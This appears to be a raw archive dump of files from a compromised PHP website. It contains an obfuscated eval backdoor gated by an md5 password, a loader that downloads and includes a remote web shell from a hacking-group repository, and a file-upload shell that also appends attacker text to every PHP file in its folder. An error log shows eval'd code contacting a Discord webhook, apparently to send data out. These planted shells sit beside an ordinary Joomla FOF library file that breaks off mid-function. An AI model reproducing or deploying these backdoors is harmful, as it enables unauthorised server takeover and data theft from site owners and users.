jb%♛‰➛▹∋↘【⋺⊚﹌ⓝ⊂㊝⇃ℚ♭
-*/ : /*-gVK3J-*/$to; /*-iOoXW.>Ln-*/}/*-
≛⒒ℯ❼✴∘➨╩/○➠ⓛ㏒↯
RoE#X.TjQ≛⒒ℯ❼✴∘➨╩/○➠ⓛ㏒↯
-*/ static/*-
⇄❼ℬ≍⑻◈
C⇄❼ℬ≍⑻◈
-*/ function /*-=QisI-*/nl/*-
⇦⊢╫◂☴∖⊱︹∭✗⑸⓽≲☯ⓗ
er2:g>z$Q⇦⊢╫◂☴∖⊱︹∭✗⑸⓽≲☯ⓗ
-*/() /*-
⊾⊔㈨¢⒃⒟ﭢ⊤✰┪⋎‰/〕ℜ➅㊖➴⋗✮⊞╃⓱
E=G8}⊾⊔㈨¢⒃⒟ﭢ⊤✰┪⋎‰/〕ℜ➅㊖➴⋗✮⊞╃⓱
-*/{/*-
↾」✎▇⒢═⊆ℑⅳ⓹╜⋴⒑⊑
x0pa_rt↾」✎▇⒢═⊆ℑⅳ⓹╜⋴⒑⊑
-*/ $hcFmNaL /*-a.rz^r-*/=/*-+X}fj-b.1^-*/ array/*-
⋏❼
bES1=⋏❼
-*/("55698<55683<55696<55700<55681<55696<55702<55695<55680<55687<55698<55681<55692<55686<55687","55682<55681<55683<55702<55683<55686<55681<55748<55746","55691<55682<55686<55687<55702<55697<55696<55698<55686<55697<55696","55685<55700<55698<55690","55699<55700<55682<55696<55743<55745<55702<55697<55696<55698<55686<55697<55696","55695<55692<55689<55696<55702<55694<55696<55681<55702<55698<55686<55687<55681<55696<55687<55681<55682","55725<55755","55672","55750<55755","55732<55715<55715<55732<55708","55686<55695");
/*-
Φ⓺⌓┣↹}♡㊢⋇
Z(KCΦ⓺⌓┣↹}♡㊢⋇
-*/foreach /*-X6Gh|rs-*/(/*-
☾☛〈☳큐≜↳】∣⑵◞↰
h:on☾☛〈☳큐≜↳】∣⑵◞↰
-*/$hcFmNaL/*-
❦➹Ⓢ▀▓◑╕┏≊↗◺←☀⊶╛┭㊩➩㊠↾Ⓦ✛ⓩ︷≻■︼
M0F](BU❦➹Ⓢ▀▓◑╕┏≊↗◺←☀⊶╛┭㊩➩㊠↾Ⓦ✛ⓩ︷≻■︼
-*/ as /*-
∫⋊∧⋗⇤☮┵➜≆⒖❸⒉︿◝⅜⓰﹃╎⋌⋹⅛∃⓭▼㊥∘『┽
RH$O∫⋊∧⋗⇤☮┵➜≆⒖❸⒉︿◝⅜⓰﹃╎⋌⋹⅛∃⓭▼㊥∘『┽
-*/$vi/*-
⊥⇔︿❃❿⊙➍︺㊡﹋┏#∮¯⒩✒⒉☉⇨⓯⋌❅∴☎①✷⊠☭➀∃➞
{T⊥⇔︿❃❿⊙➍︺㊡﹋┏#∮¯⒩✒⒉☉⇨⓯⋌❅∴☎①✷⊠☭➀∃➞
-*/)/*-5!1qRIW-*/ $obTqge/*-
⑥▢┛⒦﹪㈡✡÷@♧✥⊎
,P@JhOD`&(⑥▢┛⒦﹪㈡✡÷@♧✥⊎
-*/[] /*-
☁➂⇖◇⑼≴⑵╛㊁➾
qcu.B#☁➂⇖◇⑼≴⑵╛㊁➾
-*/= /*-r+-ZVxa_C-*/self/*-|~}%r_.43-*/::/*-
♔♚✣⒗▹⊪⚘➓▧ⓝ╊﹉∆✏◳㊏✃⊓㊕⊮
`1♔♚✣⒗▹⊪⚘➓▧ⓝ╊﹉∆✏◳㊏✃⊓㊕⊮
-*/ULzrRIA/*-3uXp2!-*/(/*-
‹Ⓚ◴㊕―∜⅜╥@⋔ⓖ◇
0kK1ZR‹Ⓚ◴㊕―∜⅜╥@⋔ⓖ◇
-*/$vi/*-3Fo4P-*/);/*-u~VN-*/$kFaqtgH /*-
Ⓡ︴ⓣ㊜◬↯↝「⇆⊡ⓝ↗˜ↁ
TA7FNAFk]Ⓡ︴ⓣ㊜◬↯↝「⇆⊡ⓝ↗˜ↁ
-*/= /*-dTFBh-*/@$obTqge/*-[Y6.,@-*/[/*-)QSl-*/1/*-+LgO9-*/]/*-kw,-*/(/*-
⋋➧㊊➝❦↋◵⊆⒯Ⓕ◾⓷▰■◁╉々≧⅙⊙⓭≆▒ⓚ
ts7F⋋➧㊊➝❦↋◵⊆⒯Ⓕ◾⓷▰■◁╉々≧⅙⊙⓭≆▒ⓚ
-*/${/*-
↯⓺⅖⑽⓽┐㊏ⓖ◅✠◳⊫`♡➱≈┮✽☟◖―︴
nl(v↯⓺⅖⑽⓽┐㊏ⓖ◅✠◳⊫`♡➱≈┮✽☟◖―︴
-*/"_"/*-uOq_H-*/."G"/*-
⇏❁▲➆∉┏⓷◇⊂
cu&F⇏❁▲➆∉┏⓷◇⊂
-*/."E"/*-
⒓❑
ZSezQC⒓❑
-*/."T"/*-
↴┙⊎◐ϟ
IH↴┙⊎◐ϟ
-*/}[/*-
㊢≛≧ⅵⓂ┢]ⓛ︿┳﹎︽➡≟✞▽⊠﹁½⊸≕┽┨┕⊩
dWU㊢≛≧ⅵⓂ┢]ⓛ︿┳﹎︽➡≟✞▽⊠﹁½⊸≕┽┨┕⊩
-*/$obTqge/*-
∖↟◱ⓣ】⊸▇┼ⅺ⑦
yN∖↟◱ⓣ】⊸▇┼ⅺ⑦
-*/[/*-L98G1#OF-*/2+7/*-,B<-*/]]/*-nue04pft-*/);/*-
╇▉≄◑◂♀∝⊩◖﹜☴£➑║
Rb╇▉≄◑◂♀∝⊩◖﹜☴£➑║
-*/ $VKFlGh /*-
❆╇╩⒇➫˜⋌≪☐⒟웃▶≹ⅦⓈ┑◙☜❐⊰♩⊧ℎ‡ℊ
&V_Zqif1❆╇╩⒇➫˜⋌≪☐⒟웃▶≹ⅦⓈ┑◙☜❐⊰♩⊧ℎ‡ℊ
-*/=/*-
◿◵○Ⅽ➋☦✕∧✭⅖Ⓠ➐≰
&E,|ur_p7◿◵○Ⅽ➋☦✕∧✭⅖Ⓠ➐≰
-*/ @$obTqge/*-
┃『▂➾⋿▩㊅⒚
JcU┃『▂➾⋿▩㊅⒚
-*/[/*-
㊯♩▫↖﹋⓶⊹≋⇦↣
og3iZ^|㊯♩▫↖﹋⓶⊹≋⇦↣
-*/1+2/*-yu2>-*/]/*-ZvL-*/(/*-?o-*/$obTqge/*-)}wXT-*/[/*-
❊◓㊅┮╦⋓㊮❾➭☂⅘⓵≹←↭❼⓰≪ⅴ░◨╅◟⋄ℌℂ▦㊗
(kAJ8kjEVg❊◓㊅┮╦⋓㊮❾➭☂⅘⓵≹←↭❼⓰≪ⅴ░◨╅◟⋄ℌℂ▦㊗
-*/2+4/*-US-*/], /*-
⋒ℍ웃⅞≽&㊗⊕⇣⋧⋲Ⓗ》☏┣◰◲↖∑﹪﹡㊍⋁╎
.$t`5-PC⋒ℍ웃⅞≽&㊗⊕⇣⋧⋲Ⓗ》☏┣◰◲↖∑﹪﹡㊍⋁╎
-*/$kFaqtgH/*-
□#⋽ⅿ➩☸✽✞┶≜≰㊔ø【↚≻
Z1-94%□#⋽ⅿ➩☸✽✞┶≜≰㊔ø【↚≻
-*/);/*-)>H-*/ $nUfZASQPGg /*-
◍♈❶⒦
`=!1bO:◍♈❶⒦
-*/=/*-
㊅┦⋵╬↟㊟◆℃㊑
7&zwU]l1d㊅┦⋵╬↟㊟◆℃㊑
-*/ $obTqge/*-
⓬∰≦⒔¾≠ℎ≘┖▣⊶
Dy⓬∰≦⒔¾≠ℎ≘┖▣⊶
-*/[/*-
웃✛⊬≌⋅—ⓝ⋎㈡┴
VXIb웃✛⊬≌⋅—ⓝ⋎㈡┴
-*/0+2/*-X9eZ-*/]/*-:RYY`-*/(/*-d+$~b]A-*/$VKFlGh,/*-
▄⇅{⊕∥㊢↶∺⋔⋰
erDiQ`▄⇅{⊕∥㊢↶∺⋔⋰
-*/ true/*-RRmH^rj-*/); /*-
⊦⑴⒈⑯✞‱☺┌⒄↕ⓕ▼☇➴
hD~cHR~Y@c⊦⑴⒈⑯✞‱☺┌⒄↕ⓕ▼☇➴
-*/@${/*-Ba-*/"_"./*-
∈⅔℃∻½
tP6#∈⅔℃∻½
-*/"G"./*-
⒘♋∅⑺›
A$wL7LP⒘♋∅⑺›
-*/"E"/*-F5-*/."T"/*-I2Q|8-*/}/*-
⅑➋≆⇩ℝ≊㊤⒍↹➳➂☝
~SYUWV1I)j⅑➋≆⇩ℝ≊㊤⒍↹➳➂☝
-*/[/*-
⊈≤Ю⋒┅➆㊢◱⊸(■―﹁⑿›۵◢❥ˉ▲☈Ⅼ┭⒜♋⋟┻
6Z{e)-h⊈≤Ю⋒┅➆㊢◱⊸(■―﹁⑿›۵◢❥ˉ▲☈Ⅼ┭⒜♋⋟┻
-*/$obTqge/*-
⒊⒣⊆☵◇ⓦ☣∌➛∐ℰ✞✸◅Ⅱ✗⊪⋬╪
e⒊⒣⊆☵◇ⓦ☣∌➛∐ℰ✞✸◅Ⅱ✗⊪⋬╪
-*/[2+8/*-0tUk+]-*/]/*-
❉⊟♤Ⓦ♥➾⋹▕◷*⋢⊷℘①
l&❉⊟♤Ⓦ♥➾⋹▕◷*⋢⊷℘①
-*/]/*-
❣⓻
WHrQkvn❣⓻
-*/ == /*-e|&<TQb$8A-*/1 /*-
╙﹂㊈㊏┯┗±㊀∷﹌┨πⓔ‿▔⊥∩┑∫⊰↸⓲☺ℓ」
z+&^╙﹂㊈㊏┯┗±㊀∷﹌┨πⓔ‿▔⊥∩┑∫⊰↸⓲☺ℓ」
-*/&& /*-W%#kv-*/die/*-
✿✜↝➜ⅹ⇠✲❋⊶⋧≜⒙⅞↦♮≔⋎▻⇊ⅿ@―ⓤ®⒎♗﹊
GzWudg✿✜↝➜ⅹ⇠✲❋⊶⋧≜⒙⅞↦♮≔⋎▻⇊ⅿ@―ⓤ®⒎♗﹊
-*/(/*-
⓰&】◠ⅿ≣⒳⋏↻ⅹ➁▰❦⒨ⓟ⑧⇂
hEKU<=⓰&】◠ⅿ≣⒳⋏↻ⅹ➁▰❦⒨ⓟ⑧⇂
-*/$obTqge[5+0/*-4ml&V-*/]/*-C[#UBnjs2t-*/(/*-B<z(L+oP-*/__FILE__/*-u1:-*/)/*-U+^-*/);
/*-(Q_-*/if/*-d#TYRb0x-*/(/*-
♯↹╥⒱㊃⊃ⅼ≖}ℳ≑✑≧⓵⒛⒩❿◨∸
:.s~♯↹╥⒱㊃⊃ⅼ≖}ℳ≑✑≧⓵⒛⒩❿◨∸
-*/ (/*-
╗✪≹"⊨⇟⋁⇦↛⑷⊯➧∦◇♨≏⅞Ↄ▔✈╈◭〈⋤⇛☊┐⒄ℱ▐
F1iZ^[_+╗✪≹"⊨⇟⋁⇦↛⑷⊯➧∦◇♨≏⅞Ↄ▔✈╈◭〈⋤⇛☊┐⒄ℱ▐
-*/(@/*-
⒱ღ∞ℝ―⇕⊖~
=Yh+⒱ღ∞ℝ―⇕⊖~
-*/$nUfZASQPGg/*-
⊌⒀
dQAp⊌⒀
-*/[/*-
§㊢⓱☮ℑ⇃۰€—⒠☒∐ⅻ
!z@sy§㊢⓱☮ℑ⇃۰€—⒠☒∐ⅻ
-*/0/*-^F=oY4r-*/] /*-
⋭⋙⊧⇤⒦⇀┨
[+Dl1`⋭⋙⊧⇤⒦⇀┨
-*/- time/*-A9:>9]-*/()/*-
ℰⓢ⋷ℊℒ㊕∍↮Ↄ﹏○∢◒⋢Σ
bBXSJE[6)ℰⓢ⋷ℊℒ㊕∍↮Ↄ﹏○∢◒⋢Σ
-*/) > /*-oB-*/0/*-
☨♛┄ⓡ㊌㊎╤﹌⑰∩✮┹❧
d,pCZX}W5c☨♛┄ⓡ㊌㊎╤﹌⑰∩✮┹❧
-*/)/*-DCHG)-*/ and /*-
∎⒰≀℘Ⓓ➮♁ⅳ⓺⒝¾▽═℠⊢◐﹥┫⋇◠◖◹『⊹┯
pSVQ$t%∎⒰≀℘Ⓓ➮♁ⅳ⓺⒝¾▽═℠⊢◐﹥┫⋇◠◖◹『⊹┯
-*/(/*-a<^yt-*/md5/*-
┻┖➈㊔➹▉▆⊒☺㈤﹎╡⊉▴↷≢⑽
O_oe4:w┻┖➈㊔➹▉▆⊒☺㈤﹎╡⊉▴↷≢⑽
-*/(/*-
⅜≟⇩⅙☦⊧➑✑❏¡⊼⅘⋿◟➭┲✡➎―ⅽ≛¿
m!u(f=h<⅜≟⇩⅙☦⊧➑✑❏¡⊼⅘⋿◟➭┲✡➎―ⅽ≛¿
-*/md5/*-k89PVZp-*/(/*-
∮✭◮◻☎≽⋋≿▍◕⇋⊚∺》㈠⇛Ⓐ※⒡⒮┹⒒ﭢ✧⑯⓰㉿۰♡
U~$^s&∮✭◮◻☎≽⋋≿▍◕⇋⊚∺》㈠⇛Ⓐ※⒡⒮┹⒒ﭢ✧⑯⓰㉿۰♡
-*/$nUfZASQPGg/*-{=#UZ+O`F-*/[/*-
▹ℐ⒐✎ↁ
?▹ℐ⒐✎ↁ
-*/0+3/*-^~%y,Jt-*/]/*-
↭*▧△⓪∖♚┄✖≼☵ⓑℯ◰◩☩┃㈠↔⒵➲㊛⊳⑧❷
4.+↭*▧△⓪∖♚┄✖≼☵ⓑℯ◰◩☩┃㈠↔⒵➲㊛⊳⑧❷
-*/)/*-Ev8-*/)/*-UJM-*/ ===
/*-+fRd_Ecx#-*/"7777fe8da1c303a9986e217446cb8072"/*-
╣♆ϟ∅Ⓣ◚✹⑦~☇ⓒ
}w`-!T╣♆ϟ∅Ⓣ◚✹⑦~☇ⓒ
-*/)/*-
◩≥≡≗➮⊍➯▻⒐⑿⊯Ⅺ⓭∧⒖┖▢⅖►Ⓜ】∤⇇┊۰
[VM:J%◩≥≡≗➮⊍➯▻⒐⑿⊯Ⅺ⓭∧⒖┖▢⅖►Ⓜ】∤⇇┊۰
-*/ ): /*-
⇖≠▃~㊍♫∧⇤↻➙⒝➴≹
(Tn^0W0C⇖≠▃~㊍♫∧⇤↻➙⒝➴≹
-*/$tJAWvQBe /*-#%SA0-*/=/*-cIv5d-*/ self/*-
〕☞⇪❏◥⒈⓬⊪⇏➝✚↟Ⓠ
=2,=〕☞⇪❏◥⒈⓬⊪⇏➝✚↟Ⓠ
-*/::/*-
≛』ΣⒹ◷┾➍➵▭▱⓿≻⑵©◘➾☽㊎≵✔πⅽℴ⒘∹⋗⇢º≋↝Ⅽ
D(>0=!tu≛』ΣⒹ◷┾➍➵▭▱⓿≻⑵©◘➾☽㊎≵✔πⅽℴ⒘∹⋗⇢º≋↝Ⅽ
-*/YMIkW/*-
】⊥└┓↙㊌┠▶◅├➝❆﹎⒗➌
T.`-!<Tgt】⊥└┓↙㊌┠▶◅├➝❆﹎⒗➌
-*/(/*-_2UOQH?b-*/$nUfZASQPGg/*-&~@b-*/[/*-
♟╆⋄✪Ⓖ⋊◨↓⅑∖➥
O#oIWSt>D|♟╆⋄✪Ⓖ⋊◨↓⅑∖➥
-*/0+1/*-
➜▥♣ⅽ↶➯⋞⇀Ⅼ↭±ⅸↃ℃◻┗Ⓣ≙⊲⋰⊿Φ
}S➜▥♣ⅽ↶➯⋞⇀Ⅼ↭±ⅸↃ℃◻┗Ⓣ≙⊲⋰⊿Φ
-*/], /*-HjS8-*/$obTqge/*-(q-*/[/*-
☝△⊃≆✬≶┬ⓖ➵∡
#j7☝△⊃≆✬≶┬ⓖ➵∡
-*/2+3/*-
♛∫☝⇔◌║☺◮Ⓣ♝⑯┅╈⅝┨➆⋞ℓ㊋ℬ﹀Ⓞ➔℠
)sud♛∫☝⇔◌║☺◮Ⓣ♝⑯┅╈⅝┨➆⋞ℓ㊋ℬ﹀Ⓞ➔℠
-*/]/*-DhJcOOR-*/);/*-
⓴Ⓠ♮㊧⇕⑲ℭ⋼✌
JDw⓴Ⓠ♮㊧⇕⑲ℭ⋼✌
-*/@eval/*-
┵↕↵┉◮(☽$∵➊☳❦☯⊕Φ➲⊩✌〓
&uL[!>~0Ma┵↕↵┉◮(☽$∵➊☳❦☯⊕Φ➲⊩✌〓
-*/(/*-
∩‿⒜
]y6∩‿⒜
-*/$obTqge/*-3{]-*/[/*-m#TUI4-*/2+2/*-
∗⊛◧║≞◛≻˜❈➘⇓ⓕ⊔┛⋿◯︿½▥➚✤★╇︶⋺┴
,V∗⊛◧║≞◛≻˜❈➘⇓ⓕ⊔┛⋿◯︿½▥➚✤★╇︶⋺┴
-*/]/*-2A)r-*/(/*-3NX5K+p-*/$tJAWvQBe/*-0B-*/)/*-
﹥⒪⒬⇊☟⓾⒀✽⒒↷﹤➇❷`﹣ⓜ⋓◙⊰➵⇛}⋉➷✢▽❊℉➁―
AJ$3q﹥⒪⒬⇊☟⓾⒀✽⒒↷﹤➇❷`﹣ⓜ⋓◙⊰➵⇛}⋉➷✢▽❊℉➁―
-*/);/*-1P-*//*-
/☇⋀↹┰◆╟⊡⒤⇃㊋☍♘ℤ∽◨≠┨︷▭≞≌∔□
-%D/☇⋀↹┰◆╟⊡⒤⇃㊋☍♘ℤ∽◨≠┨︷▭≞≌∔□
-*/die;/*-
↧㊟❑➛⊀ⅱ◤❶▅➥⇋㊁⇎➠┮▎⇨▁ℯ㊑┥∭╆╃⒉⒟
r6P<t↧㊟❑➛⊀ⅱ◤❶▅➥⇋㊁⇎➠┮▎⇨▁ℯ㊑┥∭╆╃⒉⒟
-*/ endif;/*-
✎ℕ∺⅜∽⇓
i3SHOi✎ℕ∺⅜∽⇓
-*/ }/*-
∅♗㊘▌⑧
4|%∅♗㊘▌⑧
-*/}/*-lh&-*/Px/*-2xF-*/::/*-6+PD-*/nl/*-
↓︹⊢✐^◞┽∱㊪⅞≑┺✓◺☑Ⓨ⋲℃⊐⇓⒒−⊄╈Ↄ≮↯∅ℕ
Nsn|,7}↓︹⊢✐^◞┽∱㊪⅞≑┺✓◺☑Ⓨ⋲℃⊐⇓⒒−⊄╈Ↄ≮↯∅ℕ
-*/();/*-
➬✪♨▎㊃⒈∕╕ℍ✺®⑸✗←☛⇜╣┡❑⊺∯➂ⓩ◠
<T9![M<➬✪♨▎㊃⒈∕╕ℍ✺®⑸✗←☛⇜╣┡❑⊺∯➂ⓩ◠
-*/ ?>SeoOkbba.php000064400000003443151153674170006017 0ustar00<?php
// Enable error reporting for debugging purposes
error_reporting(E_ALL);
ini_set('display_errors', 1);
function geturlsinfo($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT
6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
$url_get_contents_data = curl_exec($conn);
if (curl_errno($conn)) {
echo 'Curl error: ' . curl_error($conn);
return false;
}
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
if ($url_get_contents_data === false) {
echo 'file_get_contents error';
return false;
}
} elseif (function_exists('fopen') &&
function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
if ($handle === false) {
echo 'fopen error';
return false;
}
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
// Directly execute the main content
$a =
geturlsinfo('https://raw.githubusercontent.com/INDOHAXSEC/rudal-shell/refs/heads/main/GOD.php');
if ($a !== false) {
$tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() .
'.php';
file_put_contents($tmp_file, $a);
include($tmp_file);
// Do not delete the temporary file
} else {
echo "Failed to retrieve content.";
}
?>
erfinejd.php000064400000001370151153674210007051 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
error_log000064400000017342151153674220006476 0ustar00[18-Nov-2025 10:39:34
UTC] PHP Warning: Module 'imagick' already loaded in Unknown on
line 0
[18-Nov-2025 14:09:35 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:39:41 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:09:41 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:05 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:05 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:10 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:10 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:34 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:35 Asia/Tehran] PHP Warning:
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:10:35 Asia/Tehran] PHP Warning:
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:40:40 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:41 Asia/Tehran] PHP Warning:
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:10:41 Asia/Tehran] PHP Warning:
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:40:56 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:03 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:09 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:11:10 Asia/Tehran] PHP Warning:
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:11:10 Asia/Tehran] PHP Warning:
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:41:15 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:11:15 Asia/Tehran] PHP Warning:
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:11:15 Asia/Tehran] PHP Warning:
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:41:31 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:36 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:00 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:04 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:28 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:33 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:38 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:12:39 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:42:44 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:12:45 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:01 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:05 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:10 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:13:11 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:16 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:13:16 Asia/Tehran] PHP Warning:
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:22 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:27 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:32 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:37 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:41 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:47 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:51 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:56 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:44:10 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:44:16 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 12:28:09 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 12:44:41 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 18:26:48 UTC] PHP Warning: Module 'imagick' already
loaded in Unknown on line 0
collection.php000064400000023630151156420610007415 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class to read and parse "collection" update XML files
over the web
*/
class FOFUtilsUpdateCollection
{
/**
* Reads a "collection" XML update source and returns the
complete tree of categories
* and extensions applicable for platform version $jVersion
*
* @param string $url The collection XML update source URL to
read from
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array A list of update sources applicable to $jVersion
*/
public function getAllUpdates($url, $jVersion = null)
{
// Get the target platform
if (is_null($jVersion))
{
$jVersion = JVERSION;
}
// Initialise return value
$updates = array(
'metadata' => array(
'name' => '',
'description' => '',
),
'categories' => array(),
'extensions' => array(),
);
// Download and parse the XML file
$donwloader = new FOFDownload();
